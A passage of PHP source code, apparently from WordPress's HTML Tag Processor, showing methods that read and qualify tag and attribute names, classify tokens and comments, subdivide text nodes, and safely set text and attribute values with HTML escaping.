			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

